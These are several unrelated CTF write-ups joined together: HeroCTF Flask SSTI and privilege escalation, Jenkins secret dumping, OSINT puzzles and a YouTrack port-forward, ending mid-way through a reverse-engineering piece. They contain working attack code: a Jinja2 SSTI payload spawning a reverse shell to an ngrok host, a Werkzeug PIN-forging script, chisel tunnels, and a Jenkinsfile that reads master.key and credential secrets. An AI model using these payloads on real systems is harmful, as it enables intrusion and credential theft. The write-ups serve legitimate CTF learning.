```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:19:07(HKT)]└> nc -lnvp 4444listening on [any] 4444 ...```
- Send the reverse shell payload:
```python{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(\"python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\\\"0.tcp.ap.ngrok.io\\\",15516));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\\"/bin/bash\\\")'\").read() }}```


```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:28:03(HKT)]└> nc -lnvp 4444listening on [any] 4444 ...connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 47154www-data@flask:~/app$ whoami;hostname;idwhoami;hostname;idwww-dataflaskuid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@flask:~/app$ ```
I'm `www-data`!
Now, let's enumerate the system!
**System users:**```shellwww-data@flask:~/app$ cat /etc/passwd | grep /bin/bashcat /etc/passwd | grep /bin/bashroot:x:0:0:root:/root:/bin/bashflaskdev:x:1000:1000:,,,:/home/flaskdev:/bin/bashwww-data@flask:~/app$ ls -lah /homels -lah /hometotal 12Kdrwxr-xr-x 1 root root 4.0K May 13 03:17 .drwxr-xr-x 1 root root 4.0K May 13 14:13 ..drwxr-xr-x 1 flaskdev flaskdev 4.0K May 13 03:17 flaskdev```
- System user: `flaskdev`
**Let's dig deeper into that user!**```shellwww-data@flask:~/app$ ls -lah /home/flaskdev/ls -lah /home/flaskdev/total 28Kdrwxr-xr-x 1 flaskdev flaskdev 4.0K May 13 03:17 .drwxr-xr-x 1 root root 4.0K May 13 03:17 ..lrwxrwxrwx 1 root root 9 May 13 03:17 .bash_history -> /dev/null-rw-r--r-- 1 flaskdev flaskdev 220 May 13 03:17 .bash_logout-rw-r--r-- 1 flaskdev flaskdev 3.7K May 13 03:17 .bashrc-rw-r--r-- 1 flaskdev flaskdev 807 May 13 03:17 .profile-r-------- 1 flaskdev flaskdev 31 May 13 03:17 flag.txt-rwxr-xr-x 1 root root 219 May 12 10:17 reboot_flask.sh```
In that user's home directory, it has `flag.txt`, `reboot_flask.sh`.
**`reboot_flask.sh`:**```shif [ `ps -aux | grep -E ".*/usr/bin/python3 /var/www/dev/app.py" | wc -l` != "2" ]then pkill python3 -U 1000 /usr/bin/python3 /var/www/dev/app.py # This dev app is not exposed, it's ok to run it as myself fi```
This script will check the process of `/var/www/dev/app.py` is running or not.
If it's not running, then kill it's process and run `/usr/bin/python3 /var/www/dev/app.py`.
**`/var/www/dev/app.py`:**```pythonfrom flask import Flask, Request, Response, make_responsefrom flask import request, render_template_stringimport argparseimport jwtimport werkzeug
parser = argparse.ArgumentParser()parser.add_argument("--port", help="Port on which to run the server", required=False, type=int, default=5000)
app = Flask(__name__)
class middleware(): def __init__(self, app): self.app = app
def __call__(self, environ, start_response): request = Request(environ)
# Check for potential payloads in GET params for key, value in request.args.items(): if len(value) > 50: res = Response(u'Anormaly long payload', mimetype= 'text/plain', status=400) return res(environ, start_response)
# Check for potential payloads in route if len(request.path) > 50: res = Response(u'Anormaly long payload', mimetype= 'text/plain', status=400) return res(environ, start_response) return self.app(environ, start_response)
app.wsgi_app = middleware(app.wsgi_app)
def add(a, b): return a + bdef substract(a, b): return a - bdef multiply(a, b): return a * bdef divide(a, b): if b < 0: return "Error: Division by zero" return a / b
operations = { "add": add, "substract": substract, "multiply": multiply, "divide": divide}
def generateGuestToken(): return jwt.encode({"role": "guest"}, key="key", algorithm="HS256")
@app.route("/")def calculate(): token = request.cookies.get('token') if token is None: token = generateGuestToken() try: decodedToken = jwt.decode(token, key="key", algorithms=["HS256"]) decodedToken.get('role') except: token = generateGuestToken()
# Check if operation is valid to avoid crashes ! op = request.args.get('op') if op not in ["add", "substract", "multiply", "divide"]: resp = make_response("<h2>Invalid operation</h2>Example: /?op=substract&n1=5&n2=2") resp.set_cookie('token', token) return resp n1 = request.args.get('n1') n2 = request.args.get('n2') # Check if n1 and n2 are numbers, and prevent crashes ahah ! try: n1 = int(n1) n2 = int(n2) except: return "<h2>Invalid number</h2>"
Example: /?op=substract&n1=5&n2=2
result = operations[op](n1, n2)
resp = make_response(render_template_string(render_template_string(""" <h2>Result: {{ result }}</h2> """, result=result)))
resp.set_cookie('token', token)
return resp
@app.route("/adminPage")def admin():
# Get JWT token from cookies token = request.cookies.get('token')
# Decode JWT token try: decodedToken = jwt.decode(token, key="key", algorithms=["HS256"]) except: return render_template_string("<h2>Invalid token</h2>"), 403 # Get role role = decodedToken.get('role') if role is None: return render_template_string("<h2>Invalid token</h2>"), 403
if role == "admin": return render_template_string("Welcome admin !"), 200
return render_template_string("Sorry but you can't access this page, you're a '{role}'", role=role), 403
@app.errorhandler(werkzeug.exceptions.BadRequest)def handle_page_not_found(e): return render_template_string("<h2>{page} was not found</h2>Only routes / and /adminPage are available", page=request.path), 404
Only routes / and /adminPage are available
app.register_error_handler(404, handle_page_not_found)
app.run(debug=True, use_debugger=True, use_reloader=False, host="0.0.0.0", port=parser.parse_args().port)```
**Since I want a stable shell and transfering files between my VM and the instance machine, I'll switch to [`pwncat-cs`](https://github.com/calebstewart/pwncat):**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:49:10(HKT)]└> pwncat-cs -lp 4444/home/siunam/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated 'class': algorithms.Blowfish,[22:49:11] Welcome to pwncat ?! __main__.py:164[22:50:01] received connection from 127.0.0.1:35986 bind.py:84[22:50:05] localhost:35986: registered new host w/ db manager.py:957(local) pwncat$ (remote) www-data@flask:/var/www/app$ whoami;hostname;idwww-dataflaskuid=33(www-data) gid=33(www-data) groups=33(www-data)(remote) www-data@flask:/var/www/app$ ```
**Now, we can upload the `pspy` binary, which list out all the running processes:**```shell(local) pwncat$ upload /opt/pspy/pspy64 /tmp/pspy64/tmp/pspy64 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 3.1/3.1 MB • 3.5 MB/s • 0:00:00[22:52:14] uploaded 3.08MiB in 5.77 seconds upload.py:76(local) pwncat$ (remote) www-data@flask:/var/www/app$ chmod +x /tmp/pspy64 (remote) www-data@flask:/var/www/app$ /tmp/pspy64[...]2023/05/13 14:53:01 CMD: UID=0 PID=496 | CRON -f 2023/05/13 14:53:01 CMD: UID=0 PID=497 | CRON -f 2023/05/13 14:53:01 CMD: UID=1000 PID=498 | /bin/sh /home/flaskdev/reboot_flask.sh 2023/05/13 14:53:01 CMD: UID=1000 PID=501 | grep -E .*/usr/bin/python3 /var/www/dev/app.py 2023/05/13 14:53:01 CMD: UID=1000 PID=500 | ps -aux 2023/05/13 14:53:01 CMD: UID=1000 PID=499 | /bin/sh /home/flaskdev/reboot_flask.sh 2023/05/13 14:53:01 CMD: UID=1000 PID=502 | wc -l 2023/05/13 14:54:01 CMD: UID=0 PID=503 | CRON -f 2023/05/13 14:54:01 CMD: UID=1000 PID=504 | CRON -f 2023/05/13 14:54:01 CMD: UID=1000 PID=505 | /bin/sh /home/flaskdev/reboot_flask.sh 2023/05/13 14:54:01 CMD: UID=1000 PID=506 | /bin/sh /home/flaskdev/reboot_flask.sh 2023/05/13 14:54:01 CMD: UID=1000 PID=509 | wc -l 2023/05/13 14:54:01 CMD: UID=1000 PID=508 | grep -E .*/usr/bin/python3 /var/www/dev/app.py 2023/05/13 14:54:01 CMD: UID=1000 PID=507 | ps -aux```
As you can see, every minute a cronjob will be ran, which executes `/bin/sh /home/flaskdev/reboot_flask.sh`.
**Now, which port is the development version of the web application is running?**
**Since `netstat`, `ss` doesn't exist on the instance machine, I'll upload `netstat` to there:**```shell(local) pwncat$ upload /usr/bin/netstat /tmp/netstat/tmp/netstat ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 155.3/155.3 KB • ? • 0:00:00[22:55:37] uploaded 155.30KiB in 2.91 seconds upload.py:76(local) pwncat$ (remote) www-data@flask:/var/www/app$ chmod +x /tmp/netstat (remote) www-data@flask:/var/www/app$ /tmp/netstat -tunlp(Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.)Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 9/python3 tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.11:41449 0.0.0.0:* LISTEN - udp 0 0 127.0.0.11:47134 0.0.0.0:* - ```
As you can see, **the development one is running on port 5000**.
```shell(remote) www-data@flask:/var/www/app$ curl http://localhost:5000/<h2>Invalid operation</h2>Example: /?op=substract&n1=5&n2=2```
Example: /?op=substract&n1=5&n2=2
**Let's compare the production one and the development one:**```diff┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|23:02:30(HKT)]└> diff dev_app.py prod_app.py 24c24< if len(value) > 50:---> if len(value) > 35: # 40 would be enough, but you never know, hein poda29c29< if len(request.path) > 50:---> if len(request.path) > 35:117c117< return render_template_string("Sorry but you can't access this page, you're a '{role}'", role=role), 403---> return render_template_string("Sorry but you can't access this page, you're a '{}'".format(role)), 403122c122,123< return render_template_string("<h2>{page} was not found</h2>Only routes / and /adminPage are available", page=request.path), 404---> html = "<h2>{page} was not found</h2>Only routes / and /adminPage are available".format(page=request.path)> return render_template_string(html), 404127c128< app.run(debug=True, use_debugger=True, use_reloader=False, host="0.0.0.0", port=parser.parse_args().port)\ No newline at end of file---> app.run(host="0.0.0.0", port=parser.parse_args().port, debug=False, use_reloader=False)\ No newline at end of file```
Only routes / and /adminPage are available
Only routes / and /adminPage are available
**In the production one's SSTI exploit, it's fixed on the `/adminPage`, as the `role` will just render `{role}`.**```shell(remote) www-data@flask:/var/www/app$ curl -i -s -k -X $'GET' \> -H $'Host: localhost:5000' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \> -b $'token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgc2VsZi5fVGVtcGxhdGVSZWZlcmVuY2VfX2NvbnRleHQuY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdpZCcpLnJlYWQoKSB9fSJ9.Ex_wow2iHjH97TNLAr0V-iO25-bnWc-prB3Bkw-KMDw' \> $'http://localhost:5000/adminPage'HTTP/1.1 403 FORBIDDENServer: Werkzeug/2.3.4 Python/3.10.6Date: Sat, 13 May 2023 15:09:54 GMTContent-Type: text/html; charset=utf-8Content-Length: 55Connection: close
Sorry but you can't access this page, you're a '{role}'```
To access the development one, we must need to do port forwarding.
**To do so, I'll use `chisel`:**```shell(local) pwncat$ upload /opt/chisel/chiselx64./chiselx64 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 8.1/8.1 MB • 3.3 MB/s • 0:00:00[23:30:16] uploaded 8.08MiB in 9.85 seconds upload.py:76(local) pwncat$ (remote) www-data@flask:/tmp$ chmod +x chiselx64 ```
**Reverse port fowarding in server:**```shell┌[siunam♥earth]-(/opt/chisel)-[2023.05.13|23:33:20(HKT)]└> ./chiselx64 server -p 4444 --reverse2023/05/13 23:33:23 server: Reverse tunnelling enabled2023/05/13 23:33:23 server: Fingerprint e64LBwv+C0Ou8eG0p91ZpOmnV58zy7yJQ+QVSwfpDgI=2023/05/13 23:33:23 server: Listening on http://0.0.0.0:4444```
**Connect to the server from the client:**```shell(remote) www-data@flask:/tmp$ ./chiselx64 client 0.tcp.ap.ngrok.io:18937 R:5001:127.0.0.1:5000&[1] 1062023/05/13 15:47:59 client: Connecting to ws://0.tcp.ap.ngrok.io:18937```
**Now we can visit the development one in `localhost:5001`:**

**After some testing, the 404 and admin page doesn't vulnerable to SSTI anymore:**

Hmm... How can we escalate our privilege to user `flaskdev`...
**In the development one, the `debug` mode is set to `True`!**
**In Flask, if debug mode is enabled, anyone can go to `/console`!**

***This console page can execute any Python code!!***
**Although it's being locked by the PIN code, we can bypass that!**
In KnightCTF 2023, I wrote a writeup for a web challenge called "Knight Search": [https://siunam321.github.io/ctf/KnightCTF-2023/Web-API/Knight-Search/](https://siunam321.github.io/ctf/KnightCTF-2023/Web-API/Knight-Search/).
In that writeup, I mentioned how to bypass the PIN code.
**Boot ID:**```shell(remote) www-data@flask:/tmp$ cat /etc/machine-id 68f432c96a6d45f585a019af1ad31fc2```
**MAC address:**```shell(remote) www-data@flask:/tmp$ cat /sys/class/net/eth0/address 02:42:0a:63:64:02```
**Final public and private bits:**
- Public bits: - username: `flaskdev` - modname: `flask.app` - `Flask` - The absolute path of `app.py` in the flask directory: `/usr/local/lib/python3.10/dist-packages/flask/app.py` (You can find this by triggering `ZeroDivisionError` via `/?op=divide&n1=0&n2=0`)- Private bits: - MAC address: `2482665382914` - Machine ID: `68f432c96a6d45f585a019af1ad31fc2`
```py#!/bin/python3import hashlibfrom itertools import chain
probably_public_bits = [ 'flaskdev',# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.10/dist-packages/flask/app.py' # getattr(mod, '__file__', None),]
private_bits = [ '2482665382914',# str(uuid.getnode()), /sys/class/net/ens33/address # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup '68f432c96a6d45f585a019af1ad31fc2']
h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit)h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = Noneif num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num
print("Pin: " + rv)```
However, it still doesn't work...
**In `/var/www`, I noticed something weird:**```shell(remote) www-data@flask:/var/www$ ls -lahtotal 20Kdrwxr-xr-x 1 root root 4.0K May 13 03:17 .drwxr-xr-x 1 root root 4.0K May 13 03:17 ..drwxr-xr-x 1 root root 4.0K May 13 03:17 appdrwxrwxrwx 1 root root 4.0K May 13 03:17 configdrwxr-xr-x 1 root root 4.0K May 13 03:17 dev```
The `config` directory is world-writable/readable/executable.
```shell(remote) www-data@flask:/var/www$ ls -lah config/total 8.0Kdrwxrwxrwx 1 root root 4.0K May 13 03:17 .drwxr-xr-x 1 root root 4.0K May 13 03:17 ..lrwxrwxrwx 1 root root 12 May 13 03:17 urandom -> /dev/urandom```
Inside that directory, it has a symbolic link (symlink) file pointing to `/dev/urandom`.
What can we do with that...
## Exploitation
**Then, I opened a ticket just to confirm the Werkzeug Debug Console is the right track or not:**

So, 100% sure it's about Werkzeug Debug Console PIN code bypass...
**Hmm... Let's read through the generating PIN code source code:**```shell(remote) www-data@flask:/var/www/app$ (local) pwncat$ download /usr/local/lib/python3.10/dist-packages/werkzeug/debug/__init__.py```
**Then, around reading through it...**```pythonprivate_bits = [ str(uuid.getnode()), get_machine_id(), open("/var/www/config/urandom", "rb").read(16) # ADDING EXTRA SECURITY TO PREVENT PIN FORGING ]```
**`/var/www/config/urandom`????**
That makes a lot more sense why the symlink `urandom` file exists!
The above modifiied `private_bits` not only getting the MAC address of the machine and machine ID, **but also 16 bytes from `/var/www/config/urandom`!**
**Now, since the directory `/var/www/config/` is world-writable, we can just modify it!**```shell(remote) www-data@flask:/var/www/app$ cd /var/www/config/(remote) www-data@flask:/var/www/config$ mv urandom urandom.bak(remote) www-data@flask:/var/www/config$ vi urandom(remote) www-data@flask:/var/www/config$ cat urandomAAAAAAAAAAAAAAAA```
The modified `/var/www/config/urandom` now consists 16's A character!
**Now, the correct private bits is!**```pythonprivate_bits = [ '2482665383426',# str(uuid.getnode()), /sys/class/net/ens33/address # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup '97752bf5a62a4e9588a4aa4ccf85660f', 'AAAAAAAAAAAAAAAA']```
> Note: The MAC address and machine ID is changed because of different instance machine.
```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.14|20:51:07(HKT)]└> python3 werkzeug-pin-bypass.pyPin: 103-934-238```
Fingers crossed!


Let's go!!!
**We can now read user `flaskdev`'s flag!**```pythonimport osos.popen('id').read()os.popen('cat /home/flaskdev/flag.txt').read()```

- **Flag: `Hero{n0t_s0_Urandom_4ft3r_4ll}`**
## Conclusion
What we've learned:
1. Werkzeug Debug Console PIN Code Bypass With Extra Hardening2. Horizontal Privilege Escalation Via Werkzeug Debug Console |
Jenkins doesn't provide any sort of sandboxing, but it tells you your build runs in `/var/jenkins_home/jobs/...`.You can modify the `Jenkinsfile` to enumerate `/var/jenkins_home`, using `find` or whatever else.
From this we're able to read all the config files, including the one for secure jobs in `/var/jenkins_home/jobs/secure-jobs/config.xml`.The credentials in here are encrypted, but since we're able to read everything Jenkins can, we can find the key. I found [this](https://github.com/hoto/jenkins-credentials-decryptor) tool to do so.
This `Jenkinsfile` gets everything we need for decryption.
```pipeline { agent any stages { stage('build') { steps { sh 'cat /var/jenkins_home/jobs/secure-jobs/config.xml' sh 'cat /var/jenkins_home/secrets/master.key' sh 'cat /var/jenkins_home/secrets/hudson.util.Secret | base64' } } }}```Then we simply feed everything into the decryptor to get `punk_{GBI3BZOA3E8USYUH}`. |
[Video writeup here!](https://youtu.be/giG21dPkZ18?t=401)
The TCC storyline is much more in line with traditional OSINT research.The first challenge tells us about a specific website and a Discord server that used to be linked inside and now is no longer there.
Looking at the site there is no reference to the mentioned Discord, however, we can look for some older site versions in some public caches or historical archives.The three I always try are Google Cache, which in this case has a too-recent version of the site, Webpage archive, which again has a too-recent version, and Wayback Machine, which in this case has cached the version with Discord and allows us to get the server link through the website footer.
Once accessed the server, we get the first flag. |
[Video writeup here!](https://youtu.be/giG21dPkZ18?t=555)
TCC3 is all about diff-comparing the member’s page with the contacts one. We must find some contact information for one of the members that are Out of Office. From the contacts page, we can get every TCC member’s email, except the mach0 one. We can see however that all of them follow the same pattern, so we can easily guess that mach0 email is [email protected].Sending an email to every address, we receive an Out Of Office response from mach0, which contains among the various thing also its number. We can investigate the information related to the phone number as well as other information using the tools provided inside the OSINT Framework.In this case, however, we can simply obtain the resulting TCC3 flag by calling mach0’s telephone number. |
[Video writeup here!](https://youtu.be/giG21dPkZ18?t=610)
For the last challenge, we must find the Twitter profile of mach0 and discover the secret information he’s disclosing.We can try to see if some free OSINT services online can identify his profile using his email, but unfortunately, the only one that worked didn’t give us the actual URL.Looking at the p1ku followers and following profiles, nothing showed up. Searching for the “macho” keyword on Twitter, well… you'd better not see the results.
At this point, we can try the Twitter Advanced Search. This kind of search allows us to specify keywords we wanna include or exclude, search for specific words or sentences, specify a time window, and much more.Basically, it’s a reinterpretation of Google Dorks inside Twitter.I started searching for the mach0 signature he always wrote, but without finding anything useful.I also checked for some possible sentences inspired by the Discord messages that he could have written, but also in this case nothing worked.
After a lot of trial and error, useless research, and lots of macho-man tweets, I finally found the Mach Oke profile simply searching for his name and surname.And even now I don't understand how it is possible that the search engine indexed this profile without it containing any of the two words.
Scrolling through the tweets, however, we can notice a Pastebin link that once opened, delivers us the final flag for the TCC storyline. |
# IMF#1: Bug Hunting
## Background
Tracking bugs can be tidious, if you're not equiped with the right tools of course... > Deploy on [deploy.heroctf.fr](https://deploy.heroctf.fr/) Format : **Hero{flag}** Author : **Log_s**

## Enumeration
**In this challenge, we can SSH into user `bob` with password `password`:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/IMF#0-#4)-[2023.05.14|18:56:37(HKT)]└> ssh [email protected] -p 11386[...][email protected]'s password: [...]bob@dev:~$ ```
```bob@dev:~$ cat welcome.txt Hi Bob!
Welcome to our firm. I'm Dave, the tech lead here. We are going to be working together on our app.
Unfortunately, I will be on leave when you arrive. So take the first few days to get familiar with our infrastructure, and tools.
We are using YouTrack as our main issue tracker. The app runs on this machine (port 8080). We are both going to use the "dev" account at first, but I will create a separate account for you later. There is also an admin account, but that's for our boss. The credentials are: "dev:aff6d5527753386eaf09".
The development server with the codebase is offline for a few days due to a hardware failure on our hosting provider's side, but don't worry about that for now.
We also have a backup server, that is supposed to backup the main app's code (but it doesn't at the time) and also the YouTrack configuration and data.
Only I have an account to access it, but you won't need it. If you really have to see if everything is running fine, I made a little utility that run's on a web server.
The command to check the logs is:curl backup
The first backups might be messed up a bit, a lot bigger than the rest, they occured while I was setting up YouTrack with it's administration account.
Hope you find everything to you liking, and welcome again!
Dave```
**So, there's a "YouTrack" Project Management Tool, and we can login with credentials: `dev:aff6d5527753386eaf09`.**
**Since the instance machine doesn't have `netstat`, I'll upload it via `scp`:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/IMF#0-#4)-[2023.05.14|19:01:54(HKT)]└> scp -P 11386 -r /usr/bin/netstat [email protected]:/tmp/[email protected]'s password: netstat 100% 152KB 192.1KB/s 00:00 ```
```shellbob@dev:~$ /tmp/netstat -tunlp(No info could be read for "-p": geteuid()=1001 but you should be root.)Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:35533 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.11:45091 0.0.0.0:* LISTEN - tcp6 0 0 :::22 :::* LISTEN - udp 0 0 127.0.0.11:58050 0.0.0.0:* - ```
Can confirm port 8080 is listening on all interface. Also, there's a weird 35533 port open?
Anyway, to access the YouTrack application, we can use a port forwarding tool.
**To do so, I'll use `chisel`:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/IMF#0-#4)-[2023.05.14|19:03:20(HKT)]└> scp -P 11386 -r /opt/chisel/chiselx64 [email protected]:/tmp/chisel [email protected]'s password: chiselx64 100% 7888KB 317.8KB/s 00:24 ```
**Setup a port forwarding service, like Ngrok:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/IMF#0-#4)-[2023.05.14|19:12:03(HKT)]└> ngrok tcp 4444 [...]Forwarding tcp://0.tcp.ap.ngrok.io:16442 -> localhost:4444 [...]```
**Setup a reverse port forwarding server:**```shell┌[siunam♥earth]-(/opt/chisel)-[2023.05.14|19:04:57(HKT)]└> ./chiselx64 server -p 4444 --reverse2023/05/14 19:05:42 server: Reverse tunnelling enabled2023/05/14 19:05:42 server: Fingerprint MNPD78StKIbLJT5I39BqUCw190PpkWyXRkPyhKPnxMM=2023/05/14 19:05:42 server: Listening on http://0.0.0.0:4444```
**Connect to server from the client:**```shellbob@dev:~$ /tmp/chisel client 0.tcp.ap.ngrok.io:16442 R:5001:0.0.0.0:8080&[2] 119711:19:01 client: Connecting to ws://0.tcp.ap.ngrok.io:1644211:19:03 client: Connected (Latency 270.048918ms)```
**That way, we can access it from `localhost:5001`:**

**As we have a credential, let's login!**


**In here, we can view "Issues":**

**In "ST-5 Is that..." issue, we can find the flag!**

- **Flag: `Hero{1_tr4ck_y0u_tr4ck_h3_tr4ck5}`**
## Conclusion
What we've learned:
1. Port Forwarding With `chisel` & Enumerating YouTrack |
# Drink from my Flask#1
## Background
A friend of yours got into an argument with a flask developer. He tried handling it himself, but he somehow got his nose broken in the process... Can you put your hacker skills to good use and help him out? You should probably be able to access the server hosting your target's last project, shouldn't you ? I heard is making a lost of programming mistakes... > Deploy on [deploy.heroctf.fr](https://deploy.heroctf.fr/) Format : **Hero{flag}** Author : **Log_s**

## Enumeration
**Home page:**

In here, we need to supply `op`, `n1`, `n2` GET parameters, otherwise it'll return "Invalid operation".
**Burp Suite HTTP history:**

When we go to `/`, it'll set a new cookie called `token`, and it's a JWT (JSON Web Token).
> Note: It's highlighted in green is because of the "JSON Web Tokens" extension in Burp Suite.
**JWT Decoded:**

As you can see, it's using algorithm HS256, which is HMAC + SHA256. In the payload section, **it has a `role` claim, it's currently set to `guest`.**
**Hmm... Since HS256 is a symmetric signing key algorithm, we can try to brute force the signing secret.**
**To do so, I'll use `john`:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Web/Drink-from-my-Flask#1)-[2023.05.13|19:06:17(HKT)]└> john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256[...]key (?) [...]```
**Nice!! We successfully cracked the signing secret: `key`!!**
Now, we can sign our modified JWT via [jwt.io](https://jwt.io/)!

But what value should we modify in the `role` claim?
Hmm... Don't know yet.
**Let's try to provide `op`, `n1`, `n2` GET parameters in `/`:**

Maybe we can do command injection??
But nope, I tried.
**Then, I try to go to a non-existance page:**

And oh! We found the admin page!
**We now shouldn't able to visit the admin page:**

**Now, as the JWT signing secret was found, let's modify the `role` claim to `admin`:**


Umm... What? Just that?
**In those 404 page and `/adminPage`, it's vulnerable to reflected XSS:**



However, those aren't useful for us... Our goal should be finding sever-side vulnerability...
**I also noticed this weird error:**

> "Anormaly long payload"
After poking around, I have no idea what should I do...
Ah! Wait, how do the 404 page is rendered?
**You guessed! Flask is using a template engine called "Jinja2":**

Nice! We can try to gain Remote Code Execution (RCE) via Server-Side Template Injection (SSTI)!
## Exploitation
**According to [HackTricks](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#rce-escaping), we could gain RCE via the following payload:**


Ahh... I now know why the "Anormaly long payload" exist...
```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Web/Drink-from-my-Flask#1)-[2023.05.13|21:20:45(HKT)]└> curl http://dyn-04.heroctf.fr:12369/$(python3 -c "print('A' * 34)")<h2>/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA was not found</h2>Only routes / and /adminPage are available ┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Web/Drink-from-my-Flask#1)-[2023.05.13|21:20:47(HKT)]└> curl http://dyn-04.heroctf.fr:12369/$(python3 -c "print('A' * 35)")Anormaly long payload```
Only routes / and /adminPage are available
As you can see, the path is limited to 34 characters.
**So... We need to craft a SSTI payload that less than 35 characters.**
To bypass that, we can **use the `config` object instance in Flask.** This object instance stores the server's configuration:

**In that object instance, it has a method called `update`, which add/update an attribute in that object instance:**```pythonconfig.update(key=value)```
That being said, we can use the `update()` method to save some characters!
However, I don't wanna go through that painful route!
**Do you still remember we have reflected XSS in `/adminPage` with the JWT's `role` claim?**
**Does it have any character limit AND vulnerable to SSTI?**


Nice!! That `/adminPage` doesn't have any character limit!
**Let's try to gain RCE again:**```python{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls -lah').read() }}```
> Note: Once again, the above payload is from [HackTricks](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python)


**Let's read the flag!!**```python{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}```


- **Flag: `Hero{sst1_fl4v0ur3d_c0Ok1e}`**
## Conclusion
What we've learned:
1. Cracking JWT Secret & Exploiting RCE Via SSTI |
# Xoxor
## Find the flag
**In this challenge, we can download a [file](https://github.com/siunam321/CTF-Writeups/blob/main/PwnMe-2023-8-bits/Reverse/Xoxor/xoxor):**```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Reverse/Xoxor)-[2023.05.06|14:15:09(HKT)]└> file xoxor xoxor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3570981d58a4391cef708c82da49d36aa043ee90, for GNU/Linux 3.2.0, stripped┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Reverse/Xoxor)-[2023.05.06|14:15:11(HKT)]└> chmod +x xoxor```
It's an ELF 64-bit executable.
**Let's try to run that:**```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Reverse/Xoxor)-[2023.05.06|14:15:14(HKT)]└> ./xoxor Hello! In order to access the shopping panel, please insert the password and do not cheat this time:idkPlease excuse us, only authorized persons can access this panel.```
As you can see, it requires a correct password.
**Now, we can fire up Ghidra to decompile the executable:**```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Reverse/Xoxor)-[2023.05.06|14:16:22(HKT)]└> ghidra```
**After decompiled, we see function `FUN_00101268()`:**```cvoid FUN_00101268(void)
